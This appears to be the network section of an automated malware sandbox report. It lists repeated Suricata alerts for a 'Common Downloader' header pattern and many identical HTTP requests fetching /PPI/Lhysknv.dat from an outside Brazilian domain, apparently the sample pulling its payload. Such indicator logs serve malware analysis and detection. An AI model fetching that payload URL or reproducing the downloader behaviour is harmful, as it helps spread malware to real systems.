Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50384 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50328 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50357 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50242 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50223 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50303 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50372 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50398 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50351 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50229 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50385 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50392 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50348 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50397 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50399 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50296 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50247 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50378 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50318 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50265 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50257 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50312 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50284 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50309 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50387 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50270 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50366 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50394 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50324 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50375 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50388 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50380 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50226 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50271 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50341 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50316 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50373 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50275 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50338 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50400 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50389 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50349 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50291 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50355 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50352 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50300 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50404 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50347 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50329 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50393 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50370 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50395 -> 188.114.96.3:443

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
